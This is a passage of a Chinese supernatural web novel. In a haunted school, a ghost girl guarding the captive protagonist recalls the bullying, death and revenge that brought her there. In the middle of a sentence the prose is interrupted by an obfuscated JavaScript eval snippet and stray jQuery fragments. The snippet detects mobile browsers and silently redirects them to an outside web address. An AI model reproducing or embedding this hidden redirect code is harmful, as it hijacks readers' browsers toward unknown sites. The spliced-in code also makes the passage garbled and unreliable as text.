门后站着一个鬼影,因她突如其来的开门,她和鬼都吓了一跳。 “你干什么啊?吓死鬼了。”是沐灵玖,“难不成……你想跑走?” 潮曳慌忙摇头:“不,不是,我只是想……上厕所。” 叫沐灵玖的女鬼比雪溯还小两岁,只是个小姑娘,不知为什么不太待见潮曳: “溯哥哥让我来看着你,本来我也可以去杀猪头的!都怪你。要去厕所是吧?我在门口等你。” “……” 这下好了。 潮曳在卫生间内绞尽脑汁思考逃脱的办法。 窗户是出不去的,乔菱纱等人已经尝试过了。 门也是出不去的。 还有没有别的通道? 沐灵玖不耐烦的催促从门外传来:“你到底好了没有?啧,人类真麻烦。我进去了。” 女鬼飘了进来。 “磨磨蹭蹭的。” 潮曳无可奈何,只能在女鬼的监督下又回到了公主房。 她坐立难安,女鬼却百无聊赖,拿出工具盒子,在房间里做起了手工,不时抬头瞅两眼潮曳。 有这家伙在根本没法行动。 怎么办? 天已经亮了,白天会削弱鬼的灵力,正是逃跑的最佳时机。 一旦天黑再次下来,可就糟糕了。 “那个……” 沐灵玖:“干嘛?没看到我正忙着呢。” “……” “虽然溯哥哥说你是站在我们这边的。”沐灵玖咕哝,“但谁知道你在打什么主意……” “……” 长相一般,身材一般,毫无优点的普通人。 溯哥哥到底看上这家伙哪一点了? 沐灵玖是一年前来到这间学校的。 一开始,她很迷茫,不知今后的鬼生该如何度过。 她想念阳间的家人们,但飘回家后发现,父母亲已经渐渐从失去女儿的悲痛中走出来了。 他们收下了一笔钱,和她用美工刀划伤的那几个渣滓的家庭达成了和解。 沐灵玖不希望家人原谅伤害自己的家伙。但好像也没别的办法。 至少这笔钱,能让他们今后的生活有所保障吧。 她又飘到了高中唯一的朋友的家里。 朋友因为她的死大哭了一场,在网上的个人签名上写“09你为什么这么傻,下辈子还要一起做好朋友”。 沐灵玖悲伤不已,变成灵体后没法流泪,只能以鬼魂的形态抱了抱好朋友。 没想到因为鬼气太重,朋友第二天就生了一场病。 连续病了三个星期,病好后,朋友渐渐忘掉了沐灵玖,签名很快更新为“考试加油!”。 活人总是会淡忘掉死人的。 沐灵玖意识到这样飘在人类聚集的阳气旺盛的地方不是办法,便游荡到深山里。 偶然间,进入了城堡一样的学校。 这里全都是和她一样的孤魂野鬼。 死得心不甘情不愿,灵体遗留于尘世,无法归去。 这栋学校成为他们的容身之所,久而久之聚集越来越多的鬼魂,阴气比一百间墓园加起来还重。 沐灵玖很快对叫做雪溯的俊美少年产生了好感。 他们有相似的经历,都受到欺凌,挣扎过,反抗过,最后失败。 可雪溯只把她当妹妹,拒绝了她的告白。 他说他有喜欢的人了。 沐灵玖闷闷不乐了一阵,逐渐放下了这段感情。 雪溯把欺负沐灵玖的渣滓引来了学校, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16792040|190162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 略施计策,先是让他们担惊受怕,互相猜忌,直至歇斯底里,再一个接一个杀掉他们。 每个人都死得很惨,没有全尸。 活该。 大仇得报,沐灵玖度过了死后最快乐的一天。 她发自内心祝福雪溯哥哥和他喜欢的人,一定要幸福。 甚至出谋划策: “雪溯哥哥,要不要杀了那个人,这样你们就能永远在一起了。” “我还要考虑一下。” “如果你下不了手,我帮你杀!” “谢谢你灵玖。不过如果真的要动手,还是我自己来吧。” 沐灵玖认为雪溯喜欢的人一定是一个绝世大美女。 他说那是高中时期唯一帮助过他的人,在他最绝望的时候,因为有她在,他才能坚持下去。 人美心善。 沐灵玖盼望着见到大美女。 终于。 来到了这一天。 怎么和她想象的不一样。 大美女呢??? 这 个又矮又胖的阴沉蘑菇头是谁?? 雪溯哥哥看她的眼神,就像沐灵玖观看最喜欢的手工博主“潮汐之夜”的视频的眼神一样。 专注,深情,怜爱,只有对方。 沐灵玖觉得溯哥哥一定是被骗了。 她不想以貌取人。就算撇开“人美”这回事,这个阴暗得像下水道老鼠的家伙也绝对和“心善”无关! 越想越觉得不对。沐灵玖望着潮曳的眼神变得凶恶起来,像一只蓄势待发的兔子。 潮曳:“……我只是想说,你拿雕刻刀的时候,可以试着把重心放前面一点。” “你算什么,来指教我?” “没有……只是……那样的话……线条会更平滑……好看……” 女鬼一脸狐疑。 却还是听了潮曳的话。 “处理细节的时候,不同的木材纹理,有不同的方法,最好先试着看那把刀最合适,一点点来,耐心很重要……” 女鬼拿着刀的手顿住: “你……也会木雕?” “会……一点。” “溯哥哥从没说过。” “他……不知道。” 沐灵玖哼了一声,低头削木头。 潮曳看着她做手工,手也痒了起来。 好想回家啊。 潮曳的背包被雪溯放在床头柜上。 包里有一些应急用品,充电宝,卫生巾,水杯,手工娃娃……还有一包盐。 出门时太紧张,本来要拿的是别的,却误拿成了盐。 不过现在看来,正好能派上用场。 盐能驱鬼。 用它绊住沐灵玖,趁乱逃出去吧! 潮曳不动声色地伸手,挪向背包。 在她够到包之前,被沐灵玖觉察了: “喂,你在干什么?” 潮曳浑身一惊,手指拽动包带,背包从床头柜掉下来,里头东西散落一地。 完了…… 沐灵玖捡起掉在地上的东西。 潮曳飞速思考如何应对接下来的状况。 已知,女鬼对她没有任何好感,甚至有点讨厌她。 潮曳非常熟悉和习惯于这种来自他人的厌恶,她照镜子时也会产生类似情绪。 给她下跪道歉吧。 潮曳正打算跪下来。 “你怎么会有这个玩偶?” 沐灵玖手中拿着潮曳做的手工玩偶。 “难道你是……潮汐……之夜?”